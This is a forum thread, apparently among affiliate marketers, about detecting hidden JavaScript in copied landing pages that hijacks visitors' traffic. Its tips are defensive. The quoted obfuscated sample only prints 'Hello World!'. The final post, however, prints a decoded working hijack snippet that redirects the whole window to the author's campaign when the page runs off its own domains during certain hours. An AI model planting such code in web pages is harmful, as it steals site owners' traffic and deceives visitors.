Javascript link jacker.

I know a few guys that used to build landing pages praying people ripped them as they had JS on them that would redirect their links a small fraction of so as to not be too obvious.

Does anyone know how to look out for this?

What is the best way to catch it?

I have tried searching for location.href, location.attr and location.replace in the files but I am sure there is a more intuitive way to just be sure the javascript I am using isn't stealing my traffic.

Thanks.

Can that kind of javascript be obfuscated so it cannot be found when scraping or inspecting? I have only used the location.href

When you rip a lander, click on it and press F12 on the browser and go to the "Network" Tab on the Menu. Click around the browser and see what data is being sent to what links. Thats a good way to see if there are any hidden redirects. Javascript redirects are also mostly obfuscated, so if you see something like this:

...then it's most likely obfuscated in the .JS or the html file.

Heiko said:

When you rip a lander, click on it and press F12 on the browser and go to the "Network" Tab on the Menu. Click around the browser and see what data is being sent to what links. Thats a good way to see if there are any hidden redirects. Javascript redirects are also mostly obfuscated, so if you see something like this:

Code:

(function(_0x26ddac,_0x30917a){var _0x9aa5b=_0xb4cd,_0xeea994=_0x26ddac();while(!![]){try{var _0x53855a=parseInt(_0x9aa5b(0x1a0))/0x1*(parseInt(_0x9aa5b(0x1a2))/0x2)+parseInt(_0x9aa5b(0x1a9))/0x3+-parseInt(_0x9aa5b(0x1a1))/0x4*(parseInt(_0x9aa5b(0x1a6))/0x5)+-parseInt(_0x9aa5b(0x1a8))/0x6+-parseInt(_0x9aa5b(0x1a3))/0x7*(-parseInt(_0x9aa5b(0x1ac))/0x8)+parseInt(_0x9aa5b(0x1aa))/0x9*(parseInt(_0x9aa5b(0x1a7))/0xa)+parseInt(_0x9aa5b(0x1a4))/0xb;if(_0x53855a===_0x30917a)break;else _0xeea994['push'](_0xeea994['shift']());}catch(_0x47a815){_0xeea994['push'](_0xeea994['shift']());}}}(_0x5209,0x342ac));function _0xb4cd(_0x20d54b,_0x543b91){var _0x5209d2=_0x5209();return _0xb4cd=function(_0xb4cd61,_0x58e0fb){_0xb4cd61=_0xb4cd61-0x1a0;var _0x8149da=_0x5209d2[_0xb4cd61];return _0x8149da;},_0xb4cd(_0x20d54b,_0x543b91);}function hi(){var _0x46e752=_0xb4cd;console[_0x46e752(0x1a5)](_0x46e752(0x1ab));}function _0x5209(){var _0x3ba255=['1195380VnISwW','6363mBWbjn','Hello\x20World!','24HnkmAa','8009SUpfJG','2920eKKuAY','26bDhZrD','202531RSaXzv','306108IXYqYv','log','2480pIOfgT','690VcvsGj','541386VZjksj'];_0x5209=function(){return _0x3ba255;};return _0x5209();}hi();

...then it's most likely obfuscated in the .JS or the html file.

Click to expand...

Hey thanks a lot for that reply. You seem to have been around the block before lol.

VolcanoMan said:

I know a few guys that used to build landing pages praying people ripped them as they had JS on them that would redirect their links a small fraction of so as to not be too obvious.

Does anyone know how to look out for this?

What is the best way to catch it?

I have tried searching for location.href, location.attr and location.replace in the files but I am sure there is a more intuitive way to just be sure the javascript I am using isn't stealing my traffic.

Thanks.

Click to expand...

If it is done wih Js, you have a couple of options. I would tell you how I would approach this. I would either

• Remove all Js code that are unrelated to the frontend functionality. (Sidebars, Multilevel Drop Downs, Auto suggest search etc).
• Figure out the main JS file that is not a library and read each code line by line to try to figure out what each one does.

You can also remove JS files 1 by 1 to figure out what breaks in order for you to have an idea of what each file is responsible for and narrow your search.

Also it might be obfuscated. Check the js files and try removing any obfuscated code gradually.

Heiko said:

When you rip a lander, click on it and press F12 on the browser and go to the "Network" Tab on the Menu. Click around the browser and see what data is being sent to what links. Thats a good way to see if there are any hidden redirects. Javascript redirects are also mostly obfuscated, so if you see something like this:

Code:

(function(_0x26ddac,_0x30917a){var _0x9aa5b=_0xb4cd,_0xeea994=_0x26ddac();while(!![]){try{var _0x53855a=parseInt(_0x9aa5b(0x1a0))/0x1*(parseInt(_0x9aa5b(0x1a2))/0x2)+parseInt(_0x9aa5b(0x1a9))/0x3+-parseInt(_0x9aa5b(0x1a1))/0x4*(parseInt(_0x9aa5b(0x1a6))/0x5)+-parseInt(_0x9aa5b(0x1a8))/0x6+-parseInt(_0x9aa5b(0x1a3))/0x7*(-parseInt(_0x9aa5b(0x1ac))/0x8)+parseInt(_0x9aa5b(0x1aa))/0x9*(parseInt(_0x9aa5b(0x1a7))/0xa)+parseInt(_0x9aa5b(0x1a4))/0xb;if(_0x53855a===_0x30917a)break;else _0xeea994['push'](_0xeea994['shift']());}catch(_0x47a815){_0xeea994['push'](_0xeea994['shift']());}}}(_0x5209,0x342ac));function _0xb4cd(_0x20d54b,_0x543b91){var _0x5209d2=_0x5209();return _0xb4cd=function(_0xb4cd61,_0x58e0fb){_0xb4cd61=_0xb4cd61-0x1a0;var _0x8149da=_0x5209d2[_0xb4cd61];return _0x8149da;},_0xb4cd(_0x20d54b,_0x543b91);}function hi(){var _0x46e752=_0xb4cd;console[_0x46e752(0x1a5)](_0x46e752(0x1ab));}function _0x5209(){var _0x3ba255=['1195380VnISwW','6363mBWbjn','Hello\x20World!','24HnkmAa','8009SUpfJG','2920eKKuAY','26bDhZrD','202531RSaXzv','306108IXYqYv','log','2480pIOfgT','690VcvsGj','541386VZjksj'];_0x5209=function(){return _0x3ba255;};return _0x5209();}hi();

...then it's most likely obfuscated in the .JS or the html file.

Click to expand...

If I had not seen this message and wrote a message, I probably would have written this message.

Hey guys I think I finally found some JS that is a link/site jacker. I am not an expert in JS but look at this JS file
specifically the eval atob line that's encoded, I decoded it below.

https://gadgetslaboratory.com/tools/scrollprogress/index.js
Then when you decode the eval atob line its:

var domains = ['gadgetslaboratory.com','topgadgetspost.com','gadgetsreports.com','topgiftspost.com','giftsreport.com'];
var targetCampaign='https://gadgetslaboratory.com/trending/cool-gadgets-2020/thankyou/%27;
var currentHour = new Date().getHours();
if(!domains.includes(window.location.host)){
if(currentHour > 7 && currentHour < 11){
top.window.location.href=targetCampaign;
}
}

I think that changes the entire window to one of the domains listed right between 7-11 am. does that include 7-11pm anyone know?